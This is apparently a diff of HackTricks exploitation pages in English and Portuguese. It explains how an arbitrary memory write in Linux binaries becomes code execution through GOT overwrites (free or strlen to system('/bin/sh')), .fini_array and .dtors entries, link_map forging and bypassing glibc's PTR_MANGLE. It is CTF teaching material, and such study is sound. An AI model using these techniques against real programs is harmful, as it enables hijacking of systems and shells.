**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
**Portanto,** as entradas da GOT são usadas diretamente uma vez que o endereço de uma função ou variável externa é resolvido. **As entradas da PLT são usadas para facilitar a resolução inicial** desses endereços via o vinculador dinâmico.
## Get Execution
## Obter Execução
### Check the GOT
### Verifique a GOT
Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
Obtenha o endereço da tabela GOT com: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
Observe como após **carregar** o **executável** no GEF você pode **ver** as **funções** que estão na **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
Usando o GEF, você pode **iniciar** uma sessão de **depuração** e executar **`got`** para ver a tabela got:
![](<../../images/image (496).png>)
### GOT2Exec
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
Em um binário, a GOT tem os **endereços para as funções ou** para a **seção PLT** que irá carregar o endereço da função. O objetivo desta escrita arbitrária é **substituir uma entrada da GOT** de uma função que será executada mais tarde **com** o **endereço** da PLT da **função** **`system`**, por exemplo.
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
Idealmente, você irá **substituir** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system).
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
Se **`system`** **não for usado** pelo binário, a função system **não terá** uma entrada na PLT. Nesse cenário, você **precisará vazar primeiro o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço.
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
## libc GOT entries
## Entradas da GOT libc
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
A **GOT da libc** geralmente é compilada com **RELRO parcial**, tornando-a um bom alvo para isso, supondo que seja possível descobrir seu endereço ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
Funções comuns da libc vão chamar **outras funções internas** cujas GOT poderiam ser sobrescritas para obter execução de código.
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
Encontre [**mais informações sobre esta técnica aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system**
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
Em explorações de heap em CTFs, é comum conseguir controlar o conteúdo de chunks e em algum momento até sobrescrever a tabela GOT. Um truque simples para obter RCE se gadgets não estiverem disponíveis é sobrescrever o endereço GOT de `free` para apontar para `system` e escrever dentro de um chunk `"/bin/sh"`. Dessa forma, quando esse chunk for liberado, ele executará `system("/bin/sh")`.
### **Strlen2system**
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
Outra técnica comum é sobrescrever o endereço GOT de **`strlen`** para apontar para **`system`**, então se essa função for chamada com entrada do usuário, é possível passar a string `"/bin/sh"` e obter um shell.
Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
Além disso, se `puts` for usado com entrada do usuário, é possível sobrescrever o endereço GOT de `strlen` para apontar para `system` e passar a string `"/bin/sh"` para obter um shell porque **`puts` chamará `strlen` com a entrada do usuário**.
## **One Gadget**
@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Abusing GOT from Heap**
## **Abusando da GOT do Heap**
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para que seja possível adicionar a parte da tabela GOT no fast bin, de modo que sempre que esse chunk for alocado, será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\
Então, apontando `free` para `system` e liberando um chunk onde foi escrito `/bin/sh\x00` executará um shell.
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
É possível encontrar um [**exemplo aqui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Protections**
## **Proteções**
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica resolvendo todos os endereços das funções quando o binário é iniciado e tornando a **tabela GOT somente leitura** após isso:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
## References
## Referências
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

View File

@ -5,52 +5,48 @@
## .dtors
> [!CAUTION]
> Nowadays is very **weird to find a binary with a .dtors section!**
> Hoje em dia é muito **estranho encontrar um binário com uma seção .dtors!**
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
Get the address of this section with:
Os destrutores são funções que são **executadas antes do programa terminar** (após a função `main` retornar).\
Os endereços dessas funções são armazenados dentro da seção **`.dtors`** do binário e, portanto, se você conseguir **escrever** o **endereço** em um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes que o programa termine.
Obtenha o endereço desta seção com:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
Geralmente, você encontrará os marcadores **DTOR** **entre** os valores `ffffffff` e `00000000`. Então, se você apenas ver esses valores, isso significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo.
> [!WARNING]
> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
> Claro, você primeiro precisa encontrar um **lugar para armazenar o shellcode** para depois chamá-lo.
## **.fini_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar, como **`.dtors`**. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos onde você precisa voltar para **`main`** novamente para **explorar a vulnerabilidade uma segunda vez**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
8049934 a0850408
#Put your address in 0x8049934
```
Note que quando uma função do **`.fini_array`** é executada, ela passa para a próxima, então não será executada várias vezes (prevenindo loops eternos), mas também só dará 1 **execução da função** colocada aqui.
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
Note que as entradas em **`.fini_array`** são chamadas em **ordem reversa**, então você provavelmente quer começar a escrever a partir da última.
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
#### Loop eterno
#### Eternal loop
Para abusar de **`.fini_array`** e obter um loop eterno, você pode [**ver o que foi feito aqui**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Se você tiver pelo menos 2 entradas em **`.fini_array`**, você pode:
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
- Use your first write to **call the vulnerable arbitrary write function** again
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
- Usar sua primeira escrita para **chamar a função vulnerável de escrita arbitrária** novamente
- Em seguida, calcular o endereço de retorno na pilha armazenado por **`__libc_csu_fini`** (a função que está chamando todas as funções de **`.fini_array`**) e colocar lá o **endereço de `__libc_csu_fini`**
- Isso fará com que **`__libc_csu_fini`** chame a si mesmo novamente, executando as funções de **`.fini_array`** novamente, o que chamará a função vulnerável WWW 2 vezes: uma para **escrita arbitrária** e outra para sobrescrever novamente o **endereço de retorno de `__libc_csu_fini`** na pilha para chamá-la novamente.
> [!CAUTION]
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
> Note que com [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** a seção **`.fini_array`** é tornada **somente leitura**.
> Em versões mais novas, mesmo com [**Partial RELRO**], a seção **`.fini_array`** também é tornada **somente leitura**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,39 +1,38 @@
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers
# WWW2Exec - atexit(), Armazenamento TLS & Outros Ponteiros Emaranhados
{{#include ../../banners/hacktricks-training.md}}
## **\_\_atexit Structures**
## **\_\_atexit Estruturas**
> [!CAUTION]
> Nowadays is very **weird to exploit this!**
> Hoje em dia é muito **estranho explorar isso!**
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
**`atexit()`** é uma função à qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual aponta não é o endereço das funções, mas está **criptografado com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque **não é muito útil, pelo menos em x86** e **x64_86**.\
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
Você pode encontrar uma explicação detalhada sobre como isso funciona em [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
## link_map
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
Como explicado [**neste post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), se o programa sair usando `return` ou `exit()`, ele executará `__run_exit_handlers()` que chamará os destrutores registrados.
> [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
> Se o programa sair pela função **`_exit()`**, ele chamará a **syscall `exit`** e os manipuladores de saída não serão executados. Portanto, para confirmar que `__run_exit_handlers()` é executado, você pode definir um ponto de interrupção nele.
O código importante é ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Observe como `map -> l_addr + fini_array -> d_un.d_ptr` é usado para **calcular** a posição do **array de funções a serem chamadas**.
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
Existem **algumas opções**:
There are a **couple of options**:
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20;
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
- Sobrescrever o valor de `map->l_addr` para que aponte para um **falso `fini_array`** com instruções para executar código arbitrário.
- Sobrescrever as entradas `l_info[DT_FINI_ARRAY]` e `l_info[DT_FINI_ARRAYSZ]` (que são mais ou menos consecutivas na memória), para que **apontem para uma estrutura forjada `Elf64_Dyn`** que fará novamente **`array` apontar para uma zona de memória** controlada pelo atacante.&#x20;
- [**Este writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescreve `l_info[DT_FINI_ARRAY]` com o endereço de uma memória controlada em `.bss` contendo um falso `fini_array`. Este array falso contém **primeiro um** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **endereço** que será executado e então a **diferença** entre o endereço deste **array falso** e o **valor de `map->l_addr`** para que `*array` aponte para o array falso.
- De acordo com o post principal desta técnica e [**este writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so deixa um ponteiro na pilha que aponta para o `link_map` binário em ld.so. Com uma escrita arbitrária, é possível sobrescrevê-lo e fazê-lo apontar para um falso `fini_array` controlado pelo atacante com o endereço de um [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md), por exemplo.
Seguindo o código anterior, você pode encontrar outra seção interessante com o código:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
Neste caso, seria possível sobrescrever o valor de `map->l_info[DT_FINI]` apontando para uma estrutura `ElfW(Dyn)` forjada. Encontre [**mais informações aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
## Sobrescrita de dtor_list de TLS-Storage em **`__run_exit_handlers`**
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
Code from `_run_exit_handlers()`:
Como [**explicado aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), se um programa sair via `return` ou `exit()`, ele executará **`__run_exit_handlers()`** que chamará qualquer função de destrutor registrada.
Código de `_run_exit_handlers()`:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
if (run_dtors)
__call_tls_dtors ();
```
Code from **`__call_tls_dtors()`**:
Código de **`__call_tls_dtors()`**:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
Para cada função registrada em **`tls_dtor_list`**, ele irá desmanglar o ponteiro de **`cur->func`** e chamá-lo com o argumento **`cur->obj`**.
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
Usando a função **`tls`** deste [**fork do GEF**](https://github.com/bata24/gef), é possível ver que na verdade o **`dtor_list`** está muito **perto** do **stack canary** e do **PTR_MANGLE cookie**. Assim, com um estouro nele, seria possível **sobrescrever** o **cookie** e o **stack canary**.\
Sobrescrevendo o PTR_MANGLE cookie, seria possível **contornar a função `PTR_DEMANLE`** definindo-o como 0x00, o que significa que o **`xor`** usado para obter o endereço real é apenas o endereço configurado. Então, ao escrever no **`dtor_list`**, é possível **encadear várias funções** com o **endereço** da função e seu **argumento**.
Finalmente, note que o ponteiro armazenado não será apenas xorado com o cookie, mas também rotacionado 17 bits:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
Então você precisa levar isso em consideração antes de adicionar um novo endereço.
So you need to take this into account before adding a new address.
Encontre um exemplo na [**postagem original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
## Outros ponteiros corrompidos em **`__run_exit_handlers`**
## Other mangled pointers in **`__run_exit_handlers`**
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
Let's check more code of this function:
Esta técnica é [**explicada aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) e depende novamente do programa **sair chamando `return` ou `exit()`** para que **`__run_exit_handlers()`** seja chamado.
Vamos verificar mais código desta função:
```c
while (true)
{
struct exit_function_list *cur;
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
__libc_lock_unlock (__exit_funcs_lock);
```
A variável `f` aponta para a estrutura **`initial`** e, dependendo do valor de `f->flavor`, diferentes funções serão chamadas.\
Dependendo do valor, o endereço da função a ser chamada estará em um lugar diferente, mas sempre estará **demangled**.
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
Além disso, nas opções **`ef_on`** e **`ef_cxa`**, também é possível controlar um **argumento**.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
É possível verificar a **estrutura `initial`** em uma sessão de depuração com o GEF rodando **`gef> p initial`**.
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
Para abusar disso, você precisa ou **vazar ou apagar o cookie `PTR_MANGLE`** e então sobrescrever uma entrada `cxa` em initial com `system('/bin/sh')`.\
Você pode encontrar um exemplo disso no [**post original do blog sobre a técnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# Array Indexing
# Indexação de Array
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
Esta categoria inclui todas as vulnerabilidades que ocorrem porque é possível sobrescrever certos dados através de erros no manuseio de índices em arrays. É uma categoria muito ampla, sem uma metodologia específica, pois o mecanismo de exploração depende completamente das condições da vulnerabilidade.
However he you can find some nice **examples**:
No entanto, você pode encontrar alguns **exemplos** interessantes:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
